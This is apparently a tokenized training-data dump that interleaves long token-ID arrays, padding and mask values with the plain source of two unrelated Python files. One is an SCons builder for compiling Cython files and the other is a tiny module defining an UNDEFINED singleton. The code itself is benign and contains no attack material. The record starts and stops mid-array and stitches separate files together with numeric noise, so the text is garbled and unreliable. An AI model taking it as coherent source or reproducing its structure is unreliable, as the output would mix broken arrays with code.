4844, 520, 686, 198, 1107, 291, 14, 4844, 59, 1053, 61, 507, 198, 2836, 520, 686, 198, 1107, 488, 18118, 198, 318, 663, 63, 4844, 8, 291, 12, 1242, 12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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
GladeRom/android_external_chromium_org
third_party/cython/src/Tools/site_scons/site_tools/cython.py
125
1721
""" Tool to run Cython files (.pyx) into .c and .cpp. TODO: - Add support for dynamically selecting in-process Cython through CYTHONINPROCESS variable. - Have a CYTHONCPP option which turns on C++ in flags and changes output extension at the same time VARIABLES: - CYTHON - The path to the "cython" command line tool. - CYTHONFLAGS - Flags to pass to the "cython" command line tool. AUTHORS: - David Cournapeau - Dag Sverre Seljebotn """ import SCons from SCons.Builder import Builder from SCons.Action import Action #def cython_action(target, source, env): # print target, source, env # from Cython.Compiler.Main import compile as cython_compile # res = cython_compile(str(source[0])) cythonAction = Action("$CYTHONCOM") def create_builder(env): try: cython = env['BUILDERS']['Cython'] except KeyError: cython = SCons.Builder.Builder( action = cythonAction, emitter = {}, suffix = cython_suffix_emitter, single_source = 1) env['BUILDERS']['Cython'] = cython return cython def cython_suffix_emitter(env, source): return "$CYTHONCFILESUFFIX" def generate(env): env["CYTHON"] = "cython" env["CYTHONCOM"] = "$CYTHON $CYTHONFLAGS -o $TARGET $SOURCE" env["CYTHONCFILESUFFIX"] = ".c" c_file, cxx_file = SCons.Tool.createCFileBuilders(env) c_file.suffix['.pyx'] = cython_suffix_emitter c_file.add_action('.pyx', cythonAction) c_file.suffix['.py'] = cython_suffix_emitter c_file.add_action('.py', cythonAction) create_builder(env) def exists(env): try: # import Cython return True except ImportError: return False
bsd-3-clause
[ 624, 199, 5157, 370, 1255, 26741, 1584, 17048, 25579, 9, 1901, 1275, 67, 436, 1275, 5910, 14, 199, 199, 11768, 26, 199, 446, 2654, 2291, 367, 18774, 30090, 315, 13, 1412, 26741, 2043, 4012, 445, 57, 8472, 568, 10494, 1750, 14, 199, 446, 26858, 282, 445, 57, 8472, 14533, 945, 1314, 25449, 641, 445, 4176, 315, 3285, 436, 2043, 4493, 1072, 3329, 737, 314, 2011, 900, 199, 199, 21161, 26, 199, 446, 445, 57, 8472, 446, 710, 931, 370, 314, 298, 20747, 2, 1414, 1004, 4744, 14, 199, 446, 445, 57, 8472, 4831, 446, 24870, 370, 986, 370, 314, 298, 20747, 2, 1414, 1004, 4744, 14, 199, 199, 5580, 4149, 26, 199, 446, 20232, 1849, 349, 924, 3844, 199, 446, 26110, 428, 422, 264, 428, 352, 74, 2871, 357, 78, 199, 199, 624, 199, 646, 8218, 199, 504, 8218, 14, 6437, 492, 19286, 199, 504, 8218, 14, 3310, 492, 10033, 199, 199, 3, 318, 29348, 63, 1287, 8, 1375, 12, 1350, 12, 2589, 304, 199, 3, 259, 870, 1347, 12, 1350, 12, 2589, 199, 3, 259, 687, 26741, 14, 9131, 14, 6756, 492, 6555, 465, 29348, 63, 2014, 199, 3, 259, 522, 275, 29348, 63, 2014, 8, 495, 8, 1365, 59, 16, 2459, 199, 199, 20747, 3310, 275, 10033, 21506, 15068, 8472, 11265, 531, 199, 199, 318, 1218, 63, 5649, 8, 1813, 304, 272, 862, 26, 267, 29348, 275, 2589, 459, 8248, 3960, 2545, 9156, 898, 418, 272, 871, 4067, 26, 267, 29348, 275, 8218, 14, 6437, 14, 6437, 8, 2116, 1595, 275, 29348, 3310, 12, 2116, 8689, 351, 275, 5479, 2116, 4739, 275, 29348, 63, 4511, 63, 8159, 351, 12, 2116, 2849, 63, 1365, 275, 413, 9, 267, 2589, 459, 8248, 3960, 2545, 9156, 898, 418, 275, 29348, 339, 372, 29348, 199, 199, 318, 29348, 63, 4511, 63, 8159, 351, 8, 1813, 12, 1350, 304, 272, 372, 7880, 15068, 8472, 35, 9472, 8158, 3867, 2, 199, 199, 318, 3550, 8, 1813, 304, 272, 2589, 905, 15068, 8472, 937, 275, 298, 20747, 2, 272, 2589, 905, 15068, 8472, 11265, 937, 275, 7880, 15068, 8472, 2672, 15068, 8472, 4831, 446, 79, 2672, 9268, 2672, 10187, 2, 272, 2589, 905, 15068, 8472, 35, 9472, 8158, 3867, 937, 275, 3680, 67, 2, 339, 286, 63, 493, 12, 17327, 63, 493, 275, 8218, 14, 5157, 14, 981, 35, 1173, 6437, 83, 8, 1813, 9, 339, 286, 63, 493, 14, 4511, 459, 14, 25579, 418, 275, 29348, 63, 4511, 63, 8159, 351, 272, 286, 63, 493, 14, 525, 63, 1287, 5175, 25579, 297, 29348, 3310, 9, 339, 286, 63, 493, 14, 4511, 459, 14, 647, 418, 275, 29348, 63, 4511, 63, 8159, 351, 272, 286, 63, 493, 14, 525, 63, 1287, 5175, 647, 297, 29348, 3310, 9, 339, 1218, 63, 5649, 8, 1813, 9, 199, 199, 318, 3495, 8, 1813, 304, 272, 862, 26, 199, 3, 263, 492, 26741, 267, 372, 715, 272, 871, 3545, 26, 267, 372, 756, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 5157, 370, 1255, 26741, 1584, 17048, 25579, 9, 1901, 1275, 67, 436, 1275, 5910, 14, 199, 199, 11768, 26, 199, 446, 2654, 2291, 367, 18774, 30090, 315, 13, 1412, 26741, 2043, 4012, 445, 57, 8472, 568, 10494, 1750, 14, 199, 446, 26858, 282, 445, 57, 8472, 14533, 945, 1314, 25449, 641, 445, 4176, 315, 3285, 436, 2043, 4493, 1072, 3329, 737, 314, 2011, 900, 199, 199, 21161, 26, 199, 446, 445, 57, 8472, 446, 710, 931, 370, 314, 298, 20747, 2, 1414, 1004, 4744, 14, 199, 446, 445, 57, 8472, 4831, 446, 24870, 370, 986, 370, 314, 298, 20747, 2, 1414, 1004, 4744, 14, 199, 199, 5580, 4149, 26, 199, 446, 20232, 1849, 349, 924, 3844, 199, 446, 26110, 428, 422, 264, 428, 352, 74, 2871, 357, 78, 199, 199, 624, 199, 646, 8218, 199, 504, 8218, 14, 6437, 492, 19286, 199, 504, 8218, 14, 3310, 492, 10033, 199, 199, 3, 318, 29348, 63, 1287, 8, 1375, 12, 1350, 12, 2589, 304, 199, 3, 259, 870, 1347, 12, 1350, 12, 2589, 199, 3, 259, 687, 26741, 14, 9131, 14, 6756, 492, 6555, 465, 29348, 63, 2014, 199, 3, 259, 522, 275, 29348, 63, 2014, 8, 495, 8, 1365, 59, 16, 2459, 199, 199, 20747, 3310, 275, 10033, 21506, 15068, 8472, 11265, 531, 199, 199, 318, 1218, 63, 5649, 8, 1813, 304, 272, 862, 26, 267, 29348, 275, 2589, 459, 8248, 3960, 2545, 9156, 898, 418, 272, 871, 4067, 26, 267, 29348, 275, 8218, 14, 6437, 14, 6437, 8, 2116, 1595, 275, 29348, 3310, 12, 2116, 8689, 351, 275, 5479, 2116, 4739, 275, 29348, 63, 4511, 63, 8159, 351, 12, 2116, 2849, 63, 1365, 275, 413, 9, 267, 2589, 459, 8248, 3960, 2545, 9156, 898, 418, 275, 29348, 339, 372, 29348, 199, 199, 318, 29348, 63, 4511, 63, 8159, 351, 8, 1813, 12, 1350, 304, 272, 372, 7880, 15068, 8472, 35, 9472, 8158, 3867, 2, 199, 199, 318, 3550, 8, 1813, 304, 272, 2589, 905, 15068, 8472, 937, 275, 298, 20747, 2, 272, 2589, 905, 15068, 8472, 11265, 937, 275, 7880, 15068, 8472, 2672, 15068, 8472, 4831, 446, 79, 2672, 9268, 2672, 10187, 2, 272, 2589, 905, 15068, 8472, 35, 9472, 8158, 3867, 937, 275, 3680, 67, 2, 339, 286, 63, 493, 12, 17327, 63, 493, 275, 8218, 14, 5157, 14, 981, 35, 1173, 6437, 83, 8, 1813, 9, 339, 286, 63, 493, 14, 4511, 459, 14, 25579, 418, 275, 29348, 63, 4511, 63, 8159, 351, 272, 286, 63, 493, 14, 525, 63, 1287, 5175, 25579, 297, 29348, 3310, 9, 339, 286, 63, 493, 14, 4511, 459, 14, 647, 418, 275, 29348, 63, 4511, 63, 8159, 351, 272, 286, 63, 493, 14, 525, 63, 1287, 5175, 647, 297, 29348, 3310, 9, 339, 1218, 63, 5649, 8, 1813, 9, 199, 199, 318, 3495, 8, 1813, 304, 272, 862, 26, 199, 3, 263, 492, 26741, 267, 372, 715, 272, 871, 3545, 26, 267, 372, 756, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
simone-campagna/zirkon
zirkon/toolbox/undefined.py
2
1262
# -*- coding: utf-8 -*- # # Copyright 2013 Simone Campagna # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """\ Implementation of the UNDEFINED singleton. >>> x = UNDEFINED >>> x is UNDEFINED True >>> y = UndefinedType() >>> y is UNDEFINED True >>> """ from .singleton import Singleton __author__ = "Simone Campagna" __copyright__ = 'Copyright (c) 2015 Simone Campagna' __license__ = 'Apache License Version 2.0' __all__ = [ 'UNDEFINED', 'UndefinedType', ] class UndefinedType(metaclass=Singleton): # pylint: disable=too-few-public-methods """UndefinedType singleton. To be used instead of None as placeholder where None is an acceptable value. """ def __repr__(self): return "UNDEFINED" UNDEFINED = UndefinedType()
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6171, 10751, 368, 24569, 643, 3540, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 19659, 199, 7921, 402, 314, 14518, 19768, 14, 199, 199, 6071, 671, 275, 14518, 199, 6071, 671, 365, 14518, 199, 549, 199, 6071, 612, 275, 25868, 804, 342, 199, 6071, 612, 365, 14518, 199, 549, 199, 6071, 199, 199, 624, 199, 199, 504, 1275, 24675, 492, 13050, 1860, 199, 199, 363, 2502, 363, 275, 298, 7467, 368, 24569, 643, 3540, 2, 199, 363, 7307, 363, 275, 283, 7384, 334, 67, 9, 6900, 10751, 368, 24569, 643, 3540, 7, 199, 363, 1682, 363, 275, 283, 28993, 844, 3394, 499, 14, 16, 7, 199, 363, 452, 363, 275, 359, 272, 283, 1734, 12857, 297, 272, 283, 16283, 804, 297, 199, 61, 421, 199, 533, 25868, 804, 8, 6577, 29, 28456, 304, 221, 327, 4287, 26, 3507, 29, 7354, 13, 70, 546, 13, 3455, 13, 2474, 272, 408, 16283, 804, 19768, 14, 2126, 4005, 506, 1202, 3140, 402, 488, 465, 10069, 2382, 488, 365, 376, 14712, 574, 14, 272, 408, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 298, 1734, 12857, 2, 421, 199, 1734, 12857, 275, 25868, 804, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6171, 10751, 368, 24569, 643, 3540, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 19659, 199, 7921, 402, 314, 14518, 19768, 14, 199, 199, 6071, 671, 275, 14518, 199, 6071, 671, 365, 14518, 199, 549, 199, 6071, 612, 275, 25868, 804, 342, 199, 6071, 612, 365, 14518, 199, 549, 199, 6071, 199, 199, 624, 199, 199, 504, 1275, 24675, 492, 13050, 1860, 199, 199, 363, 2502, 363, 275, 298, 7467, 368, 24569, 643, 3540, 2, 199, 363, 7307, 363, 275, 283, 7384, 334, 67, 9, 6900, 10751, 368, 24569, 643, 3540, 7, 199, 363, 1682, 363, 275, 283, 28993, 844, 3394, 499, 14, 16, 7, 199, 363, 452, 363, 275, 359, 272, 283, 1734, 12857, 297, 272, 283, 16283, 804, 297, 199, 61, 421, 199, 533, 25868, 804, 8, 6577, 29, 28456, 304, 221, 327, 4287, 26, 3507, 29, 7354, 13, 70, 546, 13, 3455, 13, 2474, 272, 408, 16283, 804, 19768, 14, 2126, 4005, 506, 1202, 3140, 402, 488, 465, 10069, 2382, 488, 365, 376, 14712, 574, 14, 272, 408, 339, 347, 636, 2722, 721, 